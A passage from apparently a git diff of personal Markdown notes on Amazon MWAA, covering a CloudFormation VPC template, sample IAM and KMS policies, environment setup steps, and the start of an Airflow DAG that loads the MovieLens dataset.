AWS::EC2::SubnetRouteTableAssociation + Properties: + RouteTableId: !Ref PublicRouteTable + SubnetId: !Ref PublicSubnet1 + + PublicSubnet2RouteTableAssociation: + Type: AWS::EC2::SubnetRouteTableAssociation + Properties: + RouteTableId: !Ref PublicRouteTable + SubnetId: !Ref PublicSubnet2 + + + PrivateRouteTable1: + Type: AWS::EC2::RouteTable + Properties: + VpcId: !Ref VPC + Tags: + - Key: Name + Value: !Sub ${EnvironmentName} Private Routes (AZ1) + + DefaultPrivateRoute1: + Type: AWS::EC2::Route + Properties: + RouteTableId: !Ref PrivateRouteTable1 + DestinationCidrBlock: 0.0.0.0/0 + NatGatewayId: !Ref NatGateway1 + + PrivateSubnet1RouteTableAssociation: + Type: AWS::EC2::SubnetRouteTableAssociation + Properties: + RouteTableId: !Ref PrivateRouteTable1 + SubnetId: !Ref PrivateSubnet1 + + PrivateRouteTable2: + Type: AWS::EC2::RouteTable + Properties: + VpcId: !Ref VPC + Tags: + - Key: Name + Value: !Sub ${EnvironmentName} Private Routes (AZ2) + + DefaultPrivateRoute2: + Type: AWS::EC2::Route + Properties: + RouteTableId: !Ref PrivateRouteTable2 + DestinationCidrBlock: 0.0.0.0/0 + NatGatewayId: !Ref NatGateway2 + + PrivateSubnet2RouteTableAssociation: + Type: AWS::EC2::SubnetRouteTableAssociation + Properties: + RouteTableId: !Ref PrivateRouteTable2 + SubnetId: !Ref PrivateSubnet2 + + NoIngressSecurityGroup: + Type: AWS::EC2::SecurityGroup + Properties: + GroupName: "no-ingress-sg" + GroupDescription: "Security group with no ingress rule" + VpcId: !Ref VPC + +Outputs: + VPC: + Description: A reference to the created VPC + Value: !Ref VPC + + PublicSubnets: + Description: A list of the public subnets + Value: !Join [ ",", [ !Ref PublicSubnet1, !Ref PublicSubnet2 ]] + + PrivateSubnets: + Description: A list of the private subnets + Value: !Join [ ",", [ !Ref PrivateSubnet1, !Ref PrivateSubnet2 ]] + + PublicSubnet1: + Description: A reference to the public subnet in the 1st Availability Zone + Value: !Ref PublicSubnet1 + + PublicSubnet2: + Description: A reference to the public subnet in the 2nd Availability Zone + Value: !Ref PublicSubnet2 + + PrivateSubnet1: + Description: A reference to the private subnet in the 1st Availability Zone + Value: !Ref PrivateSubnet1 + + PrivateSubnet2: + Description: A reference to the private subnet in the 2nd Availability Zone + Value: !Ref PrivateSubnet2 + + NoIngressSecurityGroup: + Description: Security group with no ingress rule + Value: !Ref NoIngressSecurityGroup +``` + +Creating the VPC stack using the AWS CLI + +```bash +aws cloudformation create-stack \ + --stack-name mwaaenvironment \ + --template-body file://vpctemplate.yaml +``` + + + +--- + + + + +# Managing access to an Amazon MWAA environment + + +--- + + +## Amazon MWAA Service-linked role policy + +Amazon MWAA creates and attaches a JSON policy to your account's service-linked role +- to allow Amazon MWAA to use other AWS services used by your Amazon MWAA environment. +- For example + - permission to CloudWatch logs and the VPC network for your environment. + +--- + +## Amazon MWAA Execution role + + An execution role + +- is an IAM role +- with a permissions policy + - grants Amazon MWAA permission to invoke the resources of other AWS services on your behalf. +- This can include resources such as your Amazon S3 bucket, AWS owned CMK, and CloudWatch Logs. +- Amazon MWAA environments need one execution role per environment. + +--- + +### Sample policy for a customer managed CMK + +- an execution role policy for an Customer managed CMK. + +```JSON +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "airflow:PublishMetrics", + "Resource": "arn:aws:airflow:{your-region}:{your-account-id}:environment/{yourenvironment-name}" + }, + { + "Effect": "Deny", + "Action": "s3:ListAllMyBuckets", + "Resource": [ + "arn:aws:s3:::{your-s3-bucket-name}", + "arn:aws:s3:::{your-s3-bucket-name}/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "s3:GetObject*", + "s3:GetBucket*", + "s3:List*" + ], + "Resource": [ + "arn:aws:s3:::{your-s3-bucket-name}", + "arn:aws:s3:::{your-s3-bucket-name}/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "logs:CreateLogStream", + "logs:CreateLogGroup", + "logs:PutLogEvents", + "logs:GetLogEvents", + "logs:GetLogRecord", + "logs:GetLogGroupFields", + "logs:GetQueryResults" + ], + "Resource": "arn:aws:logs:{your-region}:{your-account-id}:log-group:airflow-{yourenvironment-name}-*" + }, + { + "Effect": "Allow", + "Action": "logs:DescribeLogGroups", + "Resource": "*" + }, + { + "Effect": "Allow", + "Action": "cloudwatch:PutMetricData", + "Resource": "*" + }, + { + "Effect": "Allow", + "Action": [ + "sqs:ChangeMessageVisibility", + "sqs:DeleteMessage", + "sqs:GetQueueAttributes", + "sqs:GetQueueUrl", + "sqs:ReceiveMessage", + "sqs:SendMessage" + ], + "Resource": "arn:aws:sqs:{your-region}:*:airflow-celery-*" + }, + { + "Effect": "Allow", + "Action": [ + "kms:Decrypt", + "kms:DescribeKey", + "kms:GenerateDataKey*", + "kms:Encrypt" + ], + "Resource": "arn:aws:kms:{your-region}:{your-account-id}:key/{your-kms-cmkid}", + "Condition": { + "StringLike": { + "kms:ViaService": [ + "sqs.{your-region}.amazonaws.com", + "s3.{your-region}.amazonaws.com" + ] + } + } + } + ] +} + +// to allow Amazon MWAA to assume this role in order to perform actions on your behalf. +// adding "airflow.amazonaws.com" and "airflow-env.amazonaws.com" service principals +// to the list of trusted entities for this execution role using the IAM console, +// or by placing these service principals in the assume role policy document for this execution role via the IAM create-role command using the AWS CLI. +// A sample assume role policy document can be found below: +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "sts:AssumeRole", + "Principal": { + "Service": ["airflow.amazonaws.com","airflow-env.amazonaws.com"] + } + } + ] +} + + +// Then attach the following JSON policy to your Customer managed CMK. +// This policy uses the kms:EncryptionContext condition key prefix +// to permit access to your Apache Airflow logs group in CloudWatch Logs. +{ + "Sid": "Allow logs access", + "Effect": "Allow", + "Principal": { + "Service": "logs.{your-region}.amazonaws.com" + }, + "Action": [ + "kms:Encrypt*", + "kms:Decrypt*", + "kms:ReEncrypt*", + "kms:GenerateDataKey*", + "kms:Describe*" + ], + "Resource": "*", + "Condition": { + "ArnLike": { + "kms:EncryptionContext:aws:logs:arn": "arn:aws:logs:{your-region}:{youraccount-id}:*" + } + } +} +``` + + +### Sample policy for an AWS owned CMK +The following example shows an execution role policy you can use for an AWS owned CMK. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "airflow:PublishMetrics", + "Resource": "arn:aws:airflow:{your-region}:{your-account-id}:environment/{yourenvironment-name}" + }, + { + "Effect": "Deny", + "Action": "s3:ListAllMyBuckets", + "Resource": [ + "arn:aws:s3:::{your-s3-bucket-name}", + "arn:aws:s3:::{your-s3-bucket-name}/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "s3:GetObject*", + "s3:GetBucket*", + "s3:List*" + ], + "Resource": [ + "arn:aws:s3:::{your-s3-bucket-name}", + "arn:aws:s3:::{your-s3-bucket-name}/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "logs:CreateLogStream", + "logs:CreateLogGroup", + "logs:PutLogEvents", + "logs:GetLogEvents", + "logs:GetLogRecord", + "logs:GetLogGroupFields", + "logs:GetQueryResults" + ], + "Resource": "arn:aws:logs:{{region}}:{{accountId}}:log-group:airflow-{{envName}}-*" + }, + { + "Effect": "Allow", + "Action": "logs:DescribeLogGroups", + "Resource": "*" + }, + { + "Effect": "Allow", + "Action": "cloudwatch:PutMetricData", + "Resource": "*" + }, + { + "Effect": "Allow", + "Action": [ + "sqs:ChangeMessageVisibility", + "sqs:DeleteMessage", + "sqs:GetQueueAttributes", + "sqs:GetQueueUrl", + "sqs:ReceiveMessage", + "sqs:SendMessage" + ], + "Resource": "arn:aws:sqs:{your-region}:*:airflow-celery-*" + }, + { + "Effect": "Allow", + "Action": [ + "kms:Decrypt", + "kms:DescribeKey", + "kms:GenerateDataKey*", + "kms:Encrypt" + ], + "NotResource": "arn:aws:kms:*:{your-account-id}:key/*", + "Condition": { + "StringLike": { "kms:ViaService": "sqs.{your-region}.amazonaws.com" } + } + } + ] +} +``` + + + +--- + +Amazon MWAA needs to be permitted to use other AWS services and resources used in an environment. You also need to be granted permission to access an Amazon MWAA environment and your Apache Airflow UI in AWS Identity and Access Management (IAM). + + +Amazon MWAA creates a service-linked role when create an Amazon MWAA environment. +- Amazon MWAA creates and attaches a JSON policy to your account's service-linked role +- to allow Amazon MWAA to use other AWS services used by your Amazon MWAA environment. +- For example, permission to CloudWatch logs and the VPC network for your environment. + + +```json +{ + "PolicyVersion": { + "Document": { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": [ + "logs:CreateLogStream", + "logs:CreateLogGroup", + "logs:DescribeLogGroups" + ], + "Resource": "arn:aws:logs:*:*:log-group:airflow-*:*" + }, + { + "Effect": "Allow", + "Action": [ + "ec2:AttachNetworkInterface", + "ec2:CreateNetworkInterface", + "ec2:CreateNetworkInterfacePermission", + "ec2:DeleteNetworkInterface", + "ec2:DeleteNetworkInterfacePermission", + "ec2:DescribeDhcpOptions", + "ec2:DescribeNetworkInterfaces", + "ec2:DescribeSecurityGroups", + "ec2:DescribeSubnets", + "ec2:DescribeVpcEndpoints", + "ec2:DescribeVpcs", + "ec2:DetachNetworkInterface" + ], + "Resource": "*" + }, + { + "Effect": "Allow", + "Action": "ec2:CreateVpcEndpoint", + "Resource": "arn:aws:ec2:*:*:vpc-endpoint/*", + "Condition": { + "ForAnyValue:StringEquals": { + "aws:TagKeys": "AmazonMWAAManaged" + } + } + }, + { + "Effect": "Allow", + "Action": [ + "ec2:ModifyVpcEndpoint", + "ec2:DeleteVpcEndpoints" + ], + "Resource": "arn:aws:ec2:*:*:vpc-endpoint/*", + "Condition": { + "Null": { + "aws:ResourceTag/AmazonMWAAManaged": false + } + } + }, + { + "Effect": "Allow", + "Action": [ + "ec2:CreateVpcEndpoint", + "ec2:ModifyVpcEndpoint" + ], + "Resource": [ + "arn:aws:ec2:*:*:vpc/*", + "arn:aws:ec2:*:*:security-group/*", + "arn:aws:ec2:*:*:subnet/*" + ] + }, + { + "Effect": "Allow", + "Action": "ec2:CreateTags", + "Resource": "arn:aws:ec2:*:*:vpc-endpoint/*", + "Condition": { + "StringEquals": { + "ec2:CreateAction": "CreateVpcEndpoint" + }, + "ForAnyValue:StringEquals": { + "aws:TagKeys": "AmazonMWAAManaged" + } + } + } + ] + }, + } +} +``` diff --git a/_posts/01Cloud/01AWS/Management/MWAA.md b/_posts/01Cloud/01AWS/Management/MWAA.md new file mode 100644 index 00000000000..e30e1b7b10a --- /dev/null +++ b/_posts/01Cloud/01AWS/Management/MWAA.md @@ -0,0 +1,696 @@ + + + + +[toc] + + +- ref + - [Orchestrating analytics jobs on Amazon EMR Notebooks using Amazon MWAA](https://noise.getoto.net/2021/01/27/orchestrating-analytics-jobs-on-amazon-emr-notebooks-using-amazon-mwaa/) + - [Introducing Amazon Managed Workflows for Apache Airflow (MWAA)](https://noise.getoto.net/2020/11/24/introducing-amazon-managed-workflows-for-apache-airflow-mwaa/) + - Post Syndicated from original [link](https://aws.amazon.com/blogs/aws/introducing-amazon-managed-workflows-for-apache-airflow-mwaa/) + - [Amazon Managed Workflows for Apache Airflow User Guide](https://docs.aws.amazon.com/mwaa/latest/userguide/amazon-mwaa-user-guide.pdf) + + + + +--- + +# Amazon Managed Workflows for Apache Airflow (Amazon MWAA) + +--- + + +## Apache Airflow + +[Apache Airflow](https://airflow.apache.org/) +- As the volume and complexity of your data processing pipelines increase +- simplify the overall process by decomposing it into a series of smaller tasks and coordinate the execution of these tasks as part of a **workflow**. +- platform created by the community to programmatically author, schedule, and monitor workflows +- manage workflows as scripts, +- monitor them via the user interface (UI), +- and extend their functionality through a set of powerful plugins. + + +--- + + +## basic + +Amazon MWAA + +- a fully managed service +- makes it easy to + - run open-source versions of Apache Airflow on AWS, + - build workflows to run extract, transform, and load (ETL) jobs and data pipelines. +- avoidmanually installing, maintaining, and scaling Airflow, and handling security, authentication, and authorization for its users + +Airflow workflows +- retrieve input from sources like [Amazon Simple Storage Service (S3)](https://aws.amazon.com/s3/) using [Amazon Athena](https://aws.amazon.com/athena) queries, +- perform transformations on [Amazon EMR](https://aws.amazon.com/emr) clusters, +- can use the resulting data to train machine learning models on [Amazon SageMaker](https://aws.amazon.com/sagemaker/). +- Workflows in Airflow are authored as [Directed Acyclic Graphs (DAGs)](https://airflow.apache.org/docs/stable/concepts.html#dags) using the Python programming language. +- Airflow **metrics** can be published as CloudWatch Metrics, and **logs** can be sent to CloudWatch Logs. +- Amazon MWAA provides automatic minor version **upgrades** and patches by default, with an option to designate a maintenance window in which these upgrades are performed. + + + + +Benefits of using Amazon MWAA + + Setup +- a managed service for Apache Airflow +- build, manage, and maintain Apache Airflow on AWS using services such as Amazon EC2 or Amazon EKS +- sets up Apache Airflow when you create an environment using the same open-source Airflow and user interface available from Apache. +- build workflows to run your extract, transform, and load (ETL) jobs and data pipelines. +- don't need to perform a manual setup or use custom tools to create an environment. + - not a "branch" of Airflow, nor is it just "compatible with". + - It is the exact same Apache Airflow that you can download on the own. +- makes it easy for you to build and manage the workflows in the cloud. + + Scaling +- use the same familiar Airflow platform with improved scalability, availability, and security + - without the operational burden of having to manage the underlying infrastructure. +- uses the Apache Celery Executor to automatically scale workers as needed for the environment. + - scales capacity up to meet demand + - and back down to conserve resources and minimize costs. +- monitors the workers in the environment, + - as demand increases, Amazon MWAA adds additional worker containers. + - As workers free up, Amazon MWAA removes them. + + + Security +- Integrated support with AWS Identity and Access Management (IAM), including role-based authentication and authorization for access to the Airflow user interface. + - Workers assume IAM roles for easy and secure access to AWS services. + - Workers and Scheduler run in the VPC for access to the resources. +- Amazon MWAA supports accessing the Airflow UI on either a VPC or a public secured endpoint. + + Upgrades and patches +- updates and patches Airflow automatically, with scheduled and communicated maintenance windows. + - manages the provisioning and ongoing maintenance of Apache Airflow + - automatically applies patches and updates to Apache Airflow in the Amazon MWAA environments. + - don't need to manage different versions of Airflow using different library versions. +- automatically recovers from failed upgrades and patches. +- Point-point releases available within 7 days +- Minor versions available within 30 days + + + + Monitoring +- integrated with CloudWatch. +- The Apache Airflow logs and performance metrics data for the environment are available in a single location. +- This lets you easily identify workflow errors or task delays. +- Amazon MWAA automatically, if enabled, sends Apache Airflow system metrics and logs to CloudWatch. +- view logs and metrics for multiple environments from a single location +- easily identify task delays or workflow errors without the need for additional third-party tools. + + Integration +- easily combine data using any of Apache Airflow’s open source integrations. +- community provides operators (plugins that simplify connections to services) for Apache Airflow to integrate with + - AWS services + - such as Amazon S3, Amazon Redshift, Amazon EMR, AWS Batch, and Amazon SageMaker, Amazon Athena, AWS Batch, Amazon CloudWatch, Amazon DynamoDB, AWS DataSync, Amazon EMR, AWS Fargate, Amazon EKS, Amazon Kinesis Data Firehose, AWS Glue, AWS Lambda, Amazon Redshift, Amazon SQS, Amazon SNS, Amazon SageMaker, and Amazon S3 + - integrated with AWS security services to enable secure access to customer data + - supports single sign-on using the same AWS credentials to access the Apache Airflow UI. + - as well as hundreds of built-in and community-created operators and sensors + - services on other cloud platforms. + - and popular third-party tools + - such as Apache Hadoop, Presto, Hive, and Spark to perform data processing tasks. +- Amazon MWAA is committed to maintaining compatibility with the Amazon MWAA API, + + + Containers +- Amazon MWAA offers support for using containers to scale the worker fleet on demand and reduce scheduler outages, through AWS Fargate. +- Operators that execute tasks on Amazon ECS containers, as well as Kubernetes operators that create and run pods on a Kubernetes cluster, are supported. + + +--- + +## Amazon MWAA and Airflow workflows + +- Apache Airflow manages data through a series of tasks called a workflow +- A workflow comprised of these tasks: a Directed Acyclic Graph (DAG) + - DAGs describe how to run a workflow and are written in Python +- When a workflow is created, tasks are configured + - so that some tasks must finish before the next task can start without needing to loop back to a previous task. + +- Example, + - tasks that collect and process data must finish collecting and processing all data before attempting to merge the data. + - collection of tasks for a media distribution company. There is a task for + - connecting to each content provider service that media is distributed to, + - requesting the play count and sales for each title, + - pulling social media impressions, + - and then loading that data to a storage location, such as an Amazon S3 bucket. + - After the data is uploaded, a task to process the data starts and converts the data to another format or modifies specific values. + - The task to merge the data together starts only after all of the preceding tasks are completed. + - by tools like AWS Glue or Amazon Athena, or perhaps using Amazon SageMaker to identify similar entries that can combined further. + - After all tasks are complete, the result is a clean and complete data set ready for + - analysis, such as with Amazon Redshift, or storage with Amazon DynamoDB. + +- If a task fails, the workflow is configured to automatically retry the failed task while the subsequent tasks wait for that task to complete. + - If a manual restart is required, the workflows starts at the failed task rather than the first task in the workflow. + - save time and resources by not repeating tasks that had already completed successfully. + +--- + + +### Amazon S3 + +- Amazon MWAA uses an S3 bucket to store DAGs and associated support files. +- must create an S3 bucket before you can create the environment. +- must create the bucket in the same Region where you create the environment. + +--- + + +### VPC network configurations + + +- Required VPC networking components requirements: + - Two private subnets + - in two different availability zones within the same Region. + - also need one of the following: + 1. Two public subnets + - configured to route the private subnet data to the Internet. (via NAT gateways) + 2. Or VPC endpoint services (AWS PrivateLink) + +> If you are unable to provide Internet routing for the two private subnets, +> - VPC endpoint services (AWS PrivateLink) access to the AWS services used by the environment is required. +> - AWS services used: Amazon CloudWatch, CloudWatch Logs, Amazon ECR, Amazon S3, Amazon SQS, AWS Key Management Service + + +- The Airflow UI in the Amazon MWAA environment is accessible over the internet by users granted access in the IAM policy. +- Amazon MWAA attaches an [Application Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html) with an HTTPS endpoint for your web server as part of the Amazon MWAA managed service. + + +--- + + +### VPC endpoints + +- VPC endpoints are highly available VPC components +- enable private connections between your VPC and supported AWS services. +- Traffic between your VPC and the other services remains in your AWS network. + + +For example: +- use the VPC endpoints to ensure extra security, availability, and Amazon S3 data transfer performance: +- An Amazon S3 [gateway VPC endpoint](https://docs.aws.amazon.com/vpc/latest/userguide/vpce-gateway.html) to establish a private connection between the Amazon MWAA VPC and Amazon S3 +- An EMR [interface VPC endpoint](https://docs.aws.amazon.com/vpc/latest/userguide/vpce-interface.html) to securely route traffic directly to Amazon EMR from Amazon MWAA, instead of connecting over the internet + + +--- + +## Airflow components + +Each environment has an Airflow Scheduler and 1 or more Airflow Workers, managed by auto-scaling, that are linked to the VPC. +- The meta database and web servers are isolated in the service’s account, and there are separate instances of each for each Airflow environment created + - there is no shared tenancy of any components, even within the same account. +- Web server access can then be exposed through an endpoint within the VPC, or more simply can be exposed through a load balancer to a publicly accessible endpoint, in each case secured by IAM and AWS SSO. + + +--- + +## Get started with MWAA + +Amazon Managed Workflows for Apache Airflow (MWAA) uses +- the Amazon VPC, +- DAG code and supporting files in the Amazon S3 storage bucket to create an environment. + - You specify the location of the Amazon S3 bucket, the path to the DAG code, and any custom plugins or dependencies on the Amazon MWAA console when you create an environment. + + +### Prerequisites +- AWS account + - An AWS account with permission to use Amazon MWAA and the AWS services and resources used by the environment. +- Amazon S3 bucket + - An Amazon S3 bucket with versioning enabled. + - An Amazon S3 bucket is used to store the DAGs and associated files, + - such as plugins.zip and requirements.txt. +- Amazon VPC + - The Amazon VPC networking components required by an Amazon MWAA environment. + - You can use an existing VPC that meets these requirements, or create the VPC and networking components as defined in Create the VPC network. +- Customer master key (CMK) + - A Customer master key (CMK) for data encryption on the environment. + - You can choose the default option on the Amazon MWAA console to create an AWS owned CMK when you create an environment. +- Execution role + - An execution role that allows Amazon MWAA to access AWS resources in the environment. + - You can choose the default option on the Amazon MWAA console to create an execution role when you create an environment + + +### 1. Create S3 bucket for Amazon MWAA + +- Buckets have configuration properties, including + - name + - Avoid including sensitive information in the bucket name. + - such as account numbers, + - The bucket name is visible in the URLs that point to the objects in the bucket. + - geographical Region + - access settings for the objects in the bucket + - Amazon MWAA requires that the bucket does not allow public access. + - You should leave all settings enabled. + - Bucket Versioning + - choose Enable. + - encryption + - whether to enable server-side encryption for the bucket. + - If you choose to enable server-side encryption + - must use the same key for the S3 bucket and Amazon MWAA environment + - If you want to enable S3 Object lock + - can only enable S3 Object lock for bucket when you create it, + - can't disable it later. + - Enabling Object lock also enables versioning for the bucket. + - After you enable Object lock for the bucket, you must configure the Object lock settings before any objects in the bucket are protected. +- Choose Create bucket. + + +### 2. Create the VPC network +- need the VPC networking components required by an Amazon MWAA environment. + 1. use an existing VPC that meets these requirements, + 2. create the VPC and networking components on the Amazon MWAA console, + 3. use the provided AWS CloudFormation template to create the VPC and other required networking components. + +- Amazon MWAA provides private and public networking options for the Apache Airflow web server. +- A public network + - allows the Airflow UI to be accessed over the Internet by users granted access in the IAM policy. + - Amazon MWAA attaches an Application Load Balancer with an HTTPS endpoint for the web server as part of the Amazon MWAA managed service. +- A private network + - limits access to the Airflow UI to users within the VPC. + - Amazon MWAA attaches a VPC endpoint to the web server. + - Enabling access to this endpoint requires additional configuration, + - such as a proxy or Linux Bastion. + - In addition, you must grant users access in the IAM policy. + + +### 3. Environment infrastructure + +- When create an environment + - Amazon MWAA + - creates an Aurora PostgreSQL metadata database and an Fargate container + - in each of the two private subnets in different availability zones. + - The Apache Airflow workers on an Amazon MWAA environment + - use the Celery Executor to queue and distribute tasks to multiple Celery workers from an Apache Airflow platform. + - The Celery Executor runs in an AWS Fargate container. + - If a Fargate container in one availability zone fails, + - Amazon MWAA switches to the other container in a different availability zone to run the Celery Executor, + - and the Apache Airflow scheduler creates a new task instance in the Amazon Aurora PostgreSQL metadata database. + +- When you create an Amazon MWAA environment, + - it uses the VPC network that you created for Amazon MWAA, and adds the other necessary networking components. + - it automatically installs the version of Apache Airflow that you specify, including workers, scheduler, and web server. + - The environment includes a link to access the Apache Airflow UI in the environment. + - You can create up to 10 environments per account per Region, and each environment can include multiple DAGs. + + +Amazon MWAA console > Create environment +--- + +- provide a name for your environment +- select the Apache Airflow version to use. + -![mwaa-create-environment-1-1024x342](https://i.imgur.com/njWTLzN.png) + +- Under DAG code in Amazon S3: + -![mwaa-dag-code-s3-1012x1024](https://i.imgur.com/lsE8wTe.png) + + - For S3 bucket + - choose the bucket that you created for Amazon MWAA + - Enter the Amazon S3 URI to the bucket. + + - For DAGs folder + - choose the DAG folder that you added to the bucket for Amazon MWAA + - Enter the Amazon S3 URI to the DAG folder in the bucket. + + - (Optional). For Plugins file + - The plugins file is a ZIP file containing the plugins used by my DAGs + - do one of the following: + - Choose Browse S3 and select the plugins.zip file that you added to the bucket. You must also select a version from the drop-down menu. + - Enter the Amazon S3 URI to the plugin.zip file that you added to the bucket. + - You can create an environment and then add a plugins.zip file later. + + + - (Optional) For Requirements file + - The requirements file describes the Python dependencies to run my DAGs + - do one of the following: + - Choose Browse S3 and then select the Python requirements.txt that you added to the bucket. Then select a version for the file from the drop-down menu. + - Enter the Amazon S3 URI to the requirements.txt file in the bucket. + - You can add a requirements file to your bucket after you create an environment. After you add or update the file you can edit the environment to modify these settings. + + - For plugins and requirements, I can select the [S3 object version](https://docs.aws.amazon.com/AmazonS3/latest/dev/Versioning.html) to use. In case the plugins or the requirements I use create a non-recoverable error in my environment, Amazon MWAA will automatically roll back to the previous working version. + + +- Configure advanced settings page (Networking) + - ![mwaa-networking-1-881x1024](https://i.imgur.com/I1CbouT.png) + - under VPC + - Each environment runs in a VPC using private subnets in two AZ + - choose the VPC that was you created for Amazon MWAA. + - Under Subnets + - Only private subnets are supported. + - You can't change the VPC for an environment after you create it. + + - Under Web server access + - Web server access to the Airflow UI is always protected by a secure login using IAM + - can have web server access on a public network to login over the Internet, + - or on a private network in your VPC. + - Public Network + - This creates a public URL to access the Apache Airflow user interface in the environment. + - Private Network + - restrict access to the Apache Airflow UI to be accessible only from within the VPC selected + - This creates a VPC endpoint that requires additional configuration to allow access, including a Linux Bastion. + - The VPC endpoint for to access the Apache Airflow UI is listed on the Environment details page after you create the environment. + + + + - Under Security group + - Create new security group + - to have Amazon MWAA create a new security group with inbound and outbound rules based on your Web server access selection. + - can add one or more existing security groups to fine-tune control of inbound and outbound traffic for the environment. + - select up to 5 security groups from your account to use for the environment. + + + - Under Environment class + - ![mwaa-environment-class-1024x555](https://i.imgur.com/HhVwUCZ.png) + - You can increase the environment size later as appropriate. + - The environment size determines the approximate number of workflows that an environment supports. + - For Maximum worker count + - specify the maximum number of workers, up to 25, to run concurrently in the environment. + - Amazon MWAA automatically handles working scaling up to the maximum worker count. + - The environment class for the Amazon MWAA environment determines the size of: + - the AWS-managed AWS Fargate containers + - where the Celery Executor runs, + - and the AWS-managed Amazon Aurora PostgreSQL metadata database + - where the Apache Airflow scheduler creates task instances. + - Each environment includes a scheduler, a web server, and a worker. + - Workers automatically scale up and down according to the workload. + + - Under Encryption + - ![mwaa-encryption-1-1024x286](https://i.imgur.com/3rXU8Dr.png) + - to encrypt your data + - AWS owned key (by default) + - or a different AWS KMS key, + - if you enabled server-side encryption for the S3 bucket you created for Amazon MWAA, + - you must use the same key for both the S3 bucket and your Amazon MWAA environment. + - You must also grant permissions for Amazon MWAA to use the key by attaching the policy described in Attach key policy. + + - Under Monitoring, + - ![mwaa-monitoring-1-1024x715](https://i.imgur.com/a2j0xXb.png) + - choose whether to enable CloudWatch Metrics. + - environment performance to CloudWatch Metrics. + - This is enabled by default, but CloudWatch Metrics can be disabled after launch. + - For Airflow logging configuration + - choose whether to enable sending log data to CloudWatch Logs for the following Apache Airflow log categories: + - Airflow task logs + - Airflow web server logs + - Airflow scheduler logs + - Airflow worker logs + - Airflow DAG processing logs + - After you enable a log category, choose the Log level for each as appropriate for your environment. + - specify the log level and which Airflow components should send their logs to CloudWatch Logs + - For Airflow configuration options + - ![mwaa-airflow-configuration-1024x603](https://i.imgur.com/5tdBfTD.png) + - When you create an environment Apache Airflow is installed using the default configuration options. + - If you add a custom configuration option, Apache Airflow uses the value from the custom configuration instead of the default. + - add a customer configuration option + - Select the configuration option to use a custom value for, then enter the Custom value. + + - Under Tags + - add any tags as appropriate for your environment. + - Choose Add new tag, and then enter a Key and optionally, a Value for the key. + + - Under Permissions, + - ![mwaa-permissions-1024x361](https://i.imgur.com/tz09fDs.png) + - configure the **permissions** that will be used by environment to access the DAGs, write logs, and run DAGs accessing other AWS resources + - choose the role to use as the execution role. + - To have Amazon MWAA create a role for this environment, choose Create new role. + - You must have permission to create IAM roles to use this option. + - If you or someone in your organization created a role to use for Amazon MWAA + - Choose Create environment. + - takes about twenty to thirty minutes to create an environment. + +--- + +### 4. Accessing an Amazon MWAA environment + +To use Amazon Managed Workflows for Apache Airflow (MWAA), you must use an account, user, or role +with the necessary permissions. + +The resources and services used in an Amazon MWAA environment are not accessible to all IAM entities (users, roles, or groups). +- must create a policy that grants your Apache Airflow users permission to access these resources. +- For example + - grant access to your Apache Airflow development team. +- Amazon MWAA uses these policies to validate whether a user has the permissions needed to perform an action on the AWS console or via the APIs used by an environment. + +use the JSON policies in this topic to create a policy for your Apache Airflow users in IAM, and then attach the policy to a user, group, or role in IAM. + +Here are the policies available: +- `AmazonMWAAFullConsoleAccess` + - to configure an environment on the Amazon MWAA console. +- `AmazonMWAAFullApiAccess` + - if need access to all Amazon MWAA APIs used to manage an environment. +- `AmazonMWAAReadOnlyAccess` + - if they need to view the resources used by an environment on the Amazon MWAA console. +- `AmazonMWAAWebServerAccess` + - if they need to access the Apache Airflow UI. +- `AmazonMWAAAirflowCliAccess` + - to run Apache Airflow CLI commands. + + +4. Apache Airflow UI access policy: `AmazonMWAAWebServerAccess` + - A user may need access to the AmazonMWAAWebServerAccess permissions policy if they need to access the Apache Airflow UI. + - It does not allow the user to view environments on the Amazon MWAA console or use the Amazon MWAA APIs to perform any actions. + - Specify the Admin, Op, User, Viewer or the Public role in {airflow-role} to customize the level of access for the user of the web token. + - For more information, see Default Roles in the Apache Airflow reference guide. + - Note: Amazon MWAA does not support custom Apache Airflow role-based access control (RBAC) roles as of yet. + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "airflow:CreateWebLoginToken", + "Resource": "arn:aws:airflow:{your-region}:{your-account-id}:role/{your-environmentname}/{airflow-role}" + } + ] +} +``` + +--- + +### 5. Using the Airflow UI + +- In the Amazon MWAA console, look for the new environment and click on **Open Airflow UI**. +- A new browser window is created and I am authenticated with a secure login via AWS IAM. + +There, I look for a DAG that I put on S3 in the `movie_list_dag.py` file. The DAG is +- downloading the [MovieLens dataset](https://grouplens.org/datasets/movielens/), +- processing the files on S3 using [Amazon Athena](https://aws.amazon.com/athena), +- and loading the result to a Redshift cluster, creating the table if missing. + + +Here’s the full source code of the DAG: + +```py + from airflow import DAG + from airflow.operators.python_operator import PythonOperator + from airflow.operators import HttpSensor, S3KeySensor + from airflow.contrib.operators.aws_athena_operator import AWSAthenaOperator + from airflow.utils.dates import days_ago + from datetime import datetime, timedelta + from io import StringIO + from io import BytesIO + from time import sleep + import csv + import requests + import json + import boto3 + import zipfile + import io + s3_bucket_name = 'my-bucket' + s3_key='files/' + redshift_cluster='redshift-cluster-1' + redshift_db='dev' + redshift_dbuser='awsuser' + redshift_table_name='movie_demo' + test_http='https://grouplens.org/datasets/movielens/latest/' + download_http='https://files.grouplens.org/datasets/movielens/ml-latest-small.zip' + athena_db='demo_athena_db' + athena_results='athena-results/' + create_athena_movie_table_query=""" + CREATE EXTERNAL TABLE IF NOT EXISTS Demo_Athena_DB.ML_Latest_Small_Movies ( + `movieId` int, + `title` string, + `genres` string + ) + ROW FORMAT SERDE 'org.apache.hadoop.hive.serde2.lazy.LazySimpleSerDe' + WITH SERDEPROPERTIES ( + 'serialization.format' = ',', + 'field.delim' = ',' + ) LOCATION 's3://pinwheeldemo1-pinwheeldagsbucketfeed0594-1bks69fq0utz/files/ml-latest-small/movies.csv/ml-latest-small/' + TBLPROPERTIES ( + 'has_encrypted_data'='false', + 'skip.header.line.count'='1' + ); + """ + create_athena_ratings_table_query=""" + CREATE 